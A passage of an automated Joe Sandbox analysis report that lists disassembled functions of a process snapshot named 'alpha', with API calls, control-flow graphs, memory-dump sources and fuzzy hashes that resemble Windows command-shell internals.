                                                    • GlobalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E50DF
                                                    • GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E50F2
                                                    • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E510F
                                                    • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E5130
                                                    • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E514A
                                                    • free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E5175
                                                      • Part of subcall function 00007FF6BF3E3578: _get_osfhandle.MSVCRT ref: 00007FF6BF3E3584
                                                      • Part of subcall function 00007FF6BF3E3578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E359C
                                                      • Part of subcall function 00007FF6BF3E3578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E35C3
                                                      • Part of subcall function 00007FF6BF3E3578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E35D9
                                                      • Part of subcall function 00007FF6BF3E3578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E35ED
                                                      • Part of subcall function 00007FF6BF3E3578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E3602
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Console$Mode_get_osfhandle$Heap$QueryValue$AddressAllocHandleProcProcess$CommandCriticalEnvironmentFreeInfoLineLockSectionSharedStrings$AcquireBufferCtrlDirectoryEnterFileGlobalHandlerInitializeModuleOpenOutputReleaseScreenTitleTypeWindowsfreememmove
                                                    • String ID: CopyFileExW$IsDebuggerPresent$KERNEL32.DLL$SetConsoleInputExeNameW
                                                    • API String ID: 1049357271-3021193919
                                                    • Opcode ID: d2460cf6989233a7a4462fbac63f5e4cbe638dcbee7ad3df93fe443bd3d09fd5
                                                    • Instruction ID: 116be74e411a83fdfea425124272a9ea15056568ddcf69347da2b6fa23264165
                                                    • Opcode Fuzzy Hash: d2460cf6989233a7a4462fbac63f5e4cbe638dcbee7ad3df93fe443bd3d09fd5
                                                    • Instruction Fuzzy Hash: 97C1B831A18B4296FA449BE8E8001797BA0FF89B90F049135DB0ECB7B6DF7CE9558350
                                                    Function 00007FF6BF3E3C24 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 289COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 732 7ff6bf3e3c24-7ff6bf3e3c61 733 7ff6bf3eec5a-7ff6bf3eec5f 732->733 734 7ff6bf3e3c67-7ff6bf3e3c99 call 7ff6bf3daf14 call 7ff6bf3dca40 732->734 733->734 736 7ff6bf3eec65-7ff6bf3eec6a 733->736 743 7ff6bf3e3c9f-7ff6bf3e3cb2 call 7ff6bf3db900 734->743 744 7ff6bf3eec97-7ff6bf3eeca1 call 7ff6bf3e855c 734->744 738 7ff6bf3e412e-7ff6bf3e415b call 7ff6bf3e8f80 736->738 743->744 749 7ff6bf3e3cb8-7ff6bf3e3cbc 743->749 750 7ff6bf3e3cbf-7ff6bf3e3cc7 749->750 750->750 751 7ff6bf3e3cc9-7ff6bf3e3ccd 750->751 752 7ff6bf3e3cd2-7ff6bf3e3cd8 751->752 753 7ff6bf3e3ce5-7ff6bf3e3d62 GetCurrentDirectoryW towupper iswalpha 752->753 754 7ff6bf3e3cda-7ff6bf3e3cdf 752->754 756 7ff6bf3e3fb8 753->756 757 7ff6bf3e3d68-7ff6bf3e3d6c 753->757 754->753 755 7ff6bf3e3faa-7ff6bf3e3fb3 754->755 755->752 759 7ff6bf3e3fc6-7ff6bf3e3fec GetLastError call 7ff6bf3e855c call 7ff6bf3ea5d6 756->759 757->756 758 7ff6bf3e3d72-7ff6bf3e3dcd towupper GetFullPathNameW 757->758 758->759 760 7ff6bf3e3dd3-7ff6bf3e3ddd 758->760 763 7ff6bf3e3ff1-7ff6bf3e4007 call 7ff6bf3e855c _local_unwind 759->763 762 7ff6bf3e3de3-7ff6bf3e3dfb 760->762 760->763 765 7ff6bf3e40fe-7ff6bf3e4119 call 7ff6bf3e855c _local_unwind 762->765 766 7ff6bf3e3e01-7ff6bf3e3e11 762->766 774 7ff6bf3e400c-7ff6bf3e4022 GetLastError 763->774 775 7ff6bf3e411a-7ff6bf3e412c call 7ff6bf3dff70 call 7ff6bf3e855c 765->775 766->765 770 7ff6bf3e3e17-7ff6bf3e3e28 766->770 773 7ff6bf3e3e2c-7ff6bf3e3e34 770->773 773->773 776 7ff6bf3e3e36-7ff6bf3e3e3f 773->776 777 7ff6bf3e3e95-7ff6bf3e3e9c 774->777 778 7ff6bf3e4028-7ff6bf3e402b 774->778 775->738 782 7ff6bf3e3e42-7ff6bf3e3e55 776->782 779 7ff6bf3e3ecf-7ff6bf3e3ed3 777->779 780 7ff6bf3e3e9e-7ff6bf3e3ec2 call 7ff6bf3e2978 777->780 778->777 783 7ff6bf3e4031-7ff6bf3e4047 call 7ff6bf3e855c _local_unwind 778->783 785 7ff6bf3e3ed5-7ff6bf3e3ef7 GetFileAttributesW 779->785 786 7ff6bf3e3f08-7ff6bf3e3f0b 779->786 791 7ff6bf3e3ec7-7ff6bf3e3ec9 780->791 788 7ff6bf3e3e57-7ff6bf3e3e60 782->788 789 7ff6bf3e3e66-7ff6bf3e3e8f GetFileAttributesW 782->789 799 7ff6bf3e404c-7ff6bf3e4062 call 7ff6bf3e855c _local_unwind 783->799 792 7ff6bf3e3efd-7ff6bf3e3f02 785->792 793 7ff6bf3e4067-7ff6bf3e4098 GetLastError call 7ff6bf3e855c _local_unwind 785->793 795 7ff6bf3e3f1e-7ff6bf3e3f40 SetCurrentDirectoryW 786->795 796 7ff6bf3e3f0d-7ff6bf3e3f11 786->796 788->789 797 7ff6bf3e3f9d-7ff6bf3e3fa5 788->797 789->774 789->777 791->779 791->799 792->786 801 7ff6bf3e409d-7ff6bf3e40b3 call 7ff6bf3e855c _local_unwind 792->801 793->801 804 7ff6bf3e3f46-7ff6bf3e3f69 call 7ff6bf3e498c 795->804 805 7ff6bf3e40b8-7ff6bf3e40de GetLastError call 7ff6bf3e855c _local_unwind 795->805 803 7ff6bf3e3f13-7ff6bf3e3f1c 796->803 796->804 797->782 799->793 801->805 803->795 803->804 815 7ff6bf3e40e3-7ff6bf3e40f9 call 7ff6bf3e855c _local_unwind 804->815 816 7ff6bf3e3f6f-7ff6bf3e3f98 call 7ff6bf3e417c 804->816 805->815 815->765 816->775
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: _local_unwind$AttributesCurrentDirectoryErrorFileLasttowupper$FullNamePathiswalphamemset
                                                    • String ID: :
                                                    • API String ID: 1809961153-336475711
                                                    • Opcode ID: ba32b8838d86428b32df37d2d44875712fc0c8ae3247368b5d273864595a39ba
                                                    • Instruction ID: a24dce977fd74b9a0581e7c17934d2b1a86ea2ba6815322c7539ca0d3be17950
                                                    • Opcode Fuzzy Hash: ba32b8838d86428b32df37d2d44875712fc0c8ae3247368b5d273864595a39ba
                                                    • Instruction Fuzzy Hash: DAD17032A2CB8581EA60DB59E4442BAB7A1FF89740F444136DB8E877B5DF3CE845CB50
                                                    Function 00007FF6BF3E2394 Relevance: 26.5, APIs: 7, Strings: 8, Instructions: 213COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 914 7ff6bf3e2394-7ff6bf3e2416 memset call 7ff6bf3dca40 917 7ff6bf3ee0d2-7ff6bf3ee0da call 7ff6bf3e4c1c 914->917 918 7ff6bf3e241c-7ff6bf3e2453 GetModuleFileNameW call 7ff6bf3e081c 914->918 923 7ff6bf3ee0db-7ff6bf3ee0ee call 7ff6bf3e498c 917->923 918->923 924 7ff6bf3e2459-7ff6bf3e2468 call 7ff6bf3e081c 918->924 929 7ff6bf3ee0f4-7ff6bf3ee107 call 7ff6bf3e498c 923->929 924->929 930 7ff6bf3e246e-7ff6bf3e247d call 7ff6bf3e081c 924->930 938 7ff6bf3ee10d-7ff6bf3ee123 929->938 935 7ff6bf3e2483-7ff6bf3e2492 call 7ff6bf3e081c 930->935 936 7ff6bf3e2516-7ff6bf3e2529 call 7ff6bf3e498c 930->936 935->938 944 7ff6bf3e2498-7ff6bf3e24a7 call 7ff6bf3e081c 935->944 936->935 941 7ff6bf3ee125-7ff6bf3ee139 wcschr 938->941 942 7ff6bf3ee13f-7ff6bf3ee17a _wcsupr 938->942 941->942 945 7ff6bf3ee27c 941->945 946 7ff6bf3ee181-7ff6bf3ee199 wcsrchr 942->946 947 7ff6bf3ee17c-7ff6bf3ee17f 942->947 955 7ff6bf3ee2a1-7ff6bf3ee2c3 _wcsicmp 944->955 956 7ff6bf3e24ad-7ff6bf3e24c5 call 7ff6bf3e3c24 944->956 949 7ff6bf3ee283-7ff6bf3ee29b call 7ff6bf3e498c 945->949 950 7ff6bf3ee19c 946->950 947->950 949->955 951 7ff6bf3ee1a0-7ff6bf3ee1a7 950->951 951->951 954 7ff6bf3ee1a9-7ff6bf3ee1bb 951->954 958 7ff6bf3ee264-7ff6bf3ee277 call 7ff6bf3e1300 954->958 959 7ff6bf3ee1c1-7ff6bf3ee1e6 954->959 964 7ff6bf3e24ca-7ff6bf3e24db 956->964 958->945 962 7ff6bf3ee21a 959->962 963 7ff6bf3ee1e8-7ff6bf3ee1f1 959->963 969 7ff6bf3ee21d-7ff6bf3ee21f 962->969 965 7ff6bf3ee1f3-7ff6bf3ee1f6 963->965 966 7ff6bf3ee201-7ff6bf3ee210 963->966 967 7ff6bf3e24dd-7ff6bf3e24e4 ??_V@YAXPEAX@Z 964->967 968 7ff6bf3e24e9-7ff6bf3e2514 call 7ff6bf3e8f80 964->968 965->966 970 7ff6bf3ee1f8-7ff6bf3ee1ff 965->970 966->962 971 7ff6bf3ee212-7ff6bf3ee218 966->971 967->968 969->949 973 7ff6bf3ee221-7ff6bf3ee228 969->973 970->965 970->966 971->969 975 7ff6bf3ee254-7ff6bf3ee262 973->975 976 7ff6bf3ee22a-7ff6bf3ee231 973->976 975->945 977 7ff6bf3ee234-7ff6bf3ee237 976->977 977->975 978 7ff6bf3ee239-7ff6bf3ee242 977->978 978->975 979 7ff6bf3ee244-7ff6bf3ee252 978->979 979->975 979->977
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$EnvironmentFileModuleNameVariable_wcsuprwcschr
                                                    • String ID: $P$G$.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC$COMSPEC$KEYS$PATH$PATHEXT$PROMPT$\CMD.EXE
                                                    • API String ID: 2622545777-4197029667
                                                    • Opcode ID: 2b85e5479cd390d5377cb4198706a5dfd2306e24395425d55588407f45c83467
                                                    • Instruction ID: c8d1226609fcb376932d7847a0da7c3155fa40e8795f0c68778919b2ca5ed04e
                                                    • Opcode Fuzzy Hash: 2b85e5479cd390d5377cb4198706a5dfd2306e24395425d55588407f45c83467
                                                    • Instruction Fuzzy Hash: C1917271B29A8285EE249FA8D8502F867A0FF58B84F454135CB4E8B7B5DF3CE945C390
                                                    Function 00007FF6BF3E0580 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 82COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: ConsoleMode_get_osfhandle
                                                    • String ID: CMD.EXE
                                                    • API String ID: 1606018815-3025314500
                                                    • Opcode ID: 9863d994e227a964b461aa116ba59a1d246fb461d9866754b2e1da54715f6750
                                                    • Instruction ID: 4374ea69b9ce9ae36cec0b3487d74d17c9c8f0ac22c0bb7c662ba1ff971bacc1
                                                    • Opcode Fuzzy Hash: 9863d994e227a964b461aa116ba59a1d246fb461d9866754b2e1da54715f6750
                                                    • Instruction Fuzzy Hash: E241FC71A196028BE6044BACE8441787FA0FF9A755F489138CB1EC73B2DF7CA514C744
                                                    Function 00007FF6BF3DC620 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 312COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 992 7ff6bf3dc620-7ff6bf3dc66f GetConsoleTitleW 993 7ff6bf3ec5f2 992->993 994 7ff6bf3dc675-7ff6bf3dc687 call 7ff6bf3daf14 992->994 996 7ff6bf3ec5fc-7ff6bf3ec60c GetLastError 993->996 999 7ff6bf3dc68e-7ff6bf3dc69d call 7ff6bf3dca40 994->999 1000 7ff6bf3dc689 994->1000 998 7ff6bf3ec5e3 call 7ff6bf3d3278 996->998 1004 7ff6bf3ec5e8-7ff6bf3ec5ed call 7ff6bf3e855c 998->1004 999->1004 1005 7ff6bf3dc6a3-7ff6bf3dc6ac 999->1005 1000->999 1004->993 1007 7ff6bf3dc6b2-7ff6bf3dc6c5 call 7ff6bf3db9c0 1005->1007 1008 7ff6bf3dc954-7ff6bf3dc95e call 7ff6bf3e291c 1005->1008 1015 7ff6bf3dc9b5-7ff6bf3dc9b8 call 7ff6bf3e5c6c 1007->1015 1016 7ff6bf3dc6cb-7ff6bf3dc6ce 1007->1016 1013 7ff6bf3dc964-7ff6bf3dc96b call 7ff6bf3d89c0 1008->1013 1014 7ff6bf3ec5de-7ff6bf3ec5e0 1008->1014 1020 7ff6bf3dc970-7ff6bf3dc972 1013->1020 1014->998 1023 7ff6bf3dc9bd-7ff6bf3dc9c9 call 7ff6bf3e855c 1015->1023 1016->1004 1018 7ff6bf3dc6d4-7ff6bf3dc6e9 1016->1018 1021 7ff6bf3dc6ef-7ff6bf3dc6fa 1018->1021 1022 7ff6bf3ec616-7ff6bf3ec620 call 7ff6bf3e855c 1018->1022 1020->996 1024 7ff6bf3dc978-7ff6bf3dc99a towupper 1020->1024 1025 7ff6bf3dc700-7ff6bf3dc713 1021->1025 1026 7ff6bf3ec627 1021->1026 1022->1026 1037 7ff6bf3dc9d0-7ff6bf3dc9d7 1023->1037 1029 7ff6bf3dc9a0-7ff6bf3dc9a9 1024->1029 1030 7ff6bf3ec631 1025->1030 1031 7ff6bf3dc719-7ff6bf3dc72c 1025->1031 1026->1030 1029->1029 1034 7ff6bf3dc9ab-7ff6bf3dc9af 1029->1034 1036 7ff6bf3ec63b 1030->1036 1035 7ff6bf3dc732-7ff6bf3dc747 call 7ff6bf3dd3f0 1031->1035 1031->1036 1034->1015 1038 7ff6bf3ec60e-7ff6bf3ec611 call 7ff6bf3fec14 1034->1038 1047 7ff6bf3dc74d-7ff6bf3dc750 1035->1047 1048 7ff6bf3dc8ac-7ff6bf3dc8af 1035->1048 1042 7ff6bf3ec645 1036->1042 1040 7ff6bf3dc872-7ff6bf3dc8aa call 7ff6bf3e855c call 7ff6bf3e8f80 1037->1040 1041 7ff6bf3dc9dd-7ff6bf3ec6da SetConsoleTitleW 1037->1041 1038->1022 1041->1040 1053 7ff6bf3ec64e-7ff6bf3ec651 1042->1053 1049 7ff6bf3dc752-7ff6bf3dc764 call 7ff6bf3dbd38 1047->1049 1050 7ff6bf3dc76a-7ff6bf3dc76d 1047->1050 1048->1047 1052 7ff6bf3dc8b5-7ff6bf3dc8d3 wcsncmp 1048->1052 1049->1004 1049->1050 1056 7ff6bf3dc773-7ff6bf3dc77a 1050->1056 1057 7ff6bf3dc840-7ff6bf3dc84b call 7ff6bf3dcb40 1050->1057 1052->1050 1058 7ff6bf3dc8d9 1052->1058 1059 7ff6bf3dc80d-7ff6bf3dc811 1053->1059 1060 7ff6bf3ec657-7ff6bf3ec65b 1053->1060 1065 7ff6bf3dc780-7ff6bf3dc784 1056->1065 1077 7ff6bf3dc84d-7ff6bf3dc855 call 7ff6bf3dcad4 1057->1077 1078 7ff6bf3dc856-7ff6bf3dc86c 1057->1078 1058->1047 1061 7ff6bf3dc9e2-7ff6bf3dc9e7 1059->1061 1062 7ff6bf3dc817-7ff6bf3dc81b 1059->1062 1060->1059 1061->1062 1069 7ff6bf3dc9ed-7ff6bf3dc9f7 call 7ff6bf3e291c 1061->1069 1067 7ff6bf3dc821 1062->1067 1068 7ff6bf3dca1b-7ff6bf3dca1f 1062->1068 1070 7ff6bf3dc78a-7ff6bf3dc7a4 wcschr 1065->1070 1071 7ff6bf3dc83d 1065->1071 1073 7ff6bf3dc824-7ff6bf3dc82d 1067->1073 1068->1067 1079 7ff6bf3dca25-7ff6bf3ec6b3 call 7ff6bf3d3278 1068->1079 1086 7ff6bf3ec684-7ff6bf3ec698 call 7ff6bf3d3278 1069->1086 1087 7ff6bf3dc9fd-7ff6bf3dca00 1069->1087 1075 7ff6bf3dc8de-7ff6bf3dc8f7 1070->1075 1076 7ff6bf3dc7aa-7ff6bf3dc7ad 1070->1076 1071->1057 1073->1073 1080 7ff6bf3dc82f-7ff6bf3dc837 1073->1080 1082 7ff6bf3dc900-7ff6bf3dc908 1075->1082 1083 7ff6bf3dc7b0-7ff6bf3dc7b8 1076->1083 1077->1078 1078->1037 1078->1040 1079->1004 1080->1065 1080->1071 1082->1082 1088 7ff6bf3dc90a-7ff6bf3dc915 1082->1088 1083->1083 1089 7ff6bf3dc7ba-7ff6bf3dc7c7 1083->1089 1086->1004 1087->1062 1094 7ff6bf3dca06-7ff6bf3dca10 call 7ff6bf3d89c0 1087->1094 1095 7ff6bf3dc93a-7ff6bf3dc944 1088->1095 1096 7ff6bf3dc917 1088->1096 1089->1053 1097 7ff6bf3dc7cd-7ff6bf3dc7db 1089->1097 1094->1062 1111 7ff6bf3dca16-7ff6bf3ec67f GetLastError call 7ff6bf3d3278 1094->1111 1103 7ff6bf3dca2a-7ff6bf3dca2f call 7ff6bf3e9158 1095->1103 1104 7ff6bf3dc94a 1095->1104 1100 7ff6bf3dc920-7ff6bf3dc928 1096->1100 1101 7ff6bf3dc7e0-7ff6bf3dc7e7 1097->1101 1106 7ff6bf3dc932-7ff6bf3dc938 1100->1106 1107 7ff6bf3dc92a-7ff6bf3dc92f 1100->1107 1108 7ff6bf3dc800-7ff6bf3dc803 1101->1108 1109 7ff6bf3dc7e9-7ff6bf3dc7f1 1101->1109 1103->1014 1104->1008 1106->1095 1106->1100 1107->1106 1108->1042 1113 7ff6bf3dc809 1108->1113 1109->1108 1112 7ff6bf3dc7f3-7ff6bf3dc7fe 1109->1112 1111->1004 1112->1101 1112->1108 1113->1059
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: ConsoleTitlewcschr
                                                    • String ID: /$:
                                                    • API String ID: 2364928044-4222935259
                                                    • Opcode ID: 2d0f60311dbb7cb4575a21d0706b761dc6d692f27382b916cf53a40b82970273
                                                    • Instruction ID: c5cb9efd40eb660a831228a635b2dc8f2c1d7981c18792a78a2f5e292c766115
                                                    • Opcode Fuzzy Hash: 2d0f60311dbb7cb4575a21d0706b761dc6d692f27382b916cf53a40b82970273
                                                    • Instruction Fuzzy Hash: F4C1BB65E6864281EA649BADD4146BD63A0FF90BD4F489131DB1ECB2F1EF3CE844C390
                                                    Function 00007FF6BF3E8D80 Relevance: 9.1, APIs: 6, Instructions: 95sleepCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1171 7ff6bf3e8d80-7ff6bf3e8da2 1172 7ff6bf3e8da4-7ff6bf3e8daf 1171->1172 1173 7ff6bf3e8db1-7ff6bf3e8db4 1172->1173 1174 7ff6bf3e8dcc 1172->1174 1175 7ff6bf3e8dbf-7ff6bf3e8dca Sleep 1173->1175 1176 7ff6bf3e8db6-7ff6bf3e8dbd 1173->1176 1177 7ff6bf3e8dd1-7ff6bf3e8dd9 1174->1177 1175->1172 1176->1177 1178 7ff6bf3e8ddb-7ff6bf3e8de5 _amsg_exit 1177->1178 1179 7ff6bf3e8de7-7ff6bf3e8def 1177->1179 1180 7ff6bf3e8e4c-7ff6bf3e8e54 1178->1180 1181 7ff6bf3e8df1-7ff6bf3e8e0a 1179->1181 1182 7ff6bf3e8e46 1179->1182 1184 7ff6bf3e8e73-7ff6bf3e8e75 1180->1184 1185 7ff6bf3e8e56-7ff6bf3e8e69 _initterm 1180->1185 1183 7ff6bf3e8e0e-7ff6bf3e8e11 1181->1183 1182->1180 1186 7ff6bf3e8e13-7ff6bf3e8e15 1183->1186 1187 7ff6bf3e8e38-7ff6bf3e8e3a 1183->1187 1188 7ff6bf3e8e80-7ff6bf3e8e88 1184->1188 1189 7ff6bf3e8e77-7ff6bf3e8e79 1184->1189 1185->1184 1190 7ff6bf3e8e3c-7ff6bf3e8e41 1186->1190 1191 7ff6bf3e8e17-7ff6bf3e8e1b 1186->1191 1187->1180 1187->1190 1192 7ff6bf3e8eb4-7ff6bf3e8ec8 call 7ff6bf3e37d8 1188->1192 1193 7ff6bf3e8e8a-7ff6bf3e8e98 call 7ff6bf3e94f0 1188->1193 1189->1188 1198 7ff6bf3e8f28-7ff6bf3e8f3d 1190->1198 1195 7ff6bf3e8e2d-7ff6bf3e8e36 1191->1195 1196 7ff6bf3e8e1d-7ff6bf3e8e29 1191->1196 1200 7ff6bf3e8ecd-7ff6bf3e8eda 1192->1200 1193->1192 1201 7ff6bf3e8e9a-7ff6bf3e8eaa 1193->1201 1195->1183 1196->1195 1203 7ff6bf3e8ee4-7ff6bf3e8eeb 1200->1203 1204 7ff6bf3e8edc-7ff6bf3e8ede exit 1200->1204 1201->1192 1205 7ff6bf3e8eed-7ff6bf3e8ef3 _cexit 1203->1205 1206 7ff6bf3e8ef9 1203->1206 1204->1203 1205->1206 1206->1198
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CurrentImageNonwritableSleep_amsg_exit_cexit_inittermexit
                                                    • String ID:
                                                    • API String ID: 4291973834-0
                                                    • Opcode ID: 1c7d4f9672c25dc89753b58092f3baa3c71a1f277e4bfd9c8df4ae4aed7312e4
                                                    • Instruction ID: a2185197fa34045fa9238c68ca7b36039344b55e5d16bd145771027dc34745cf
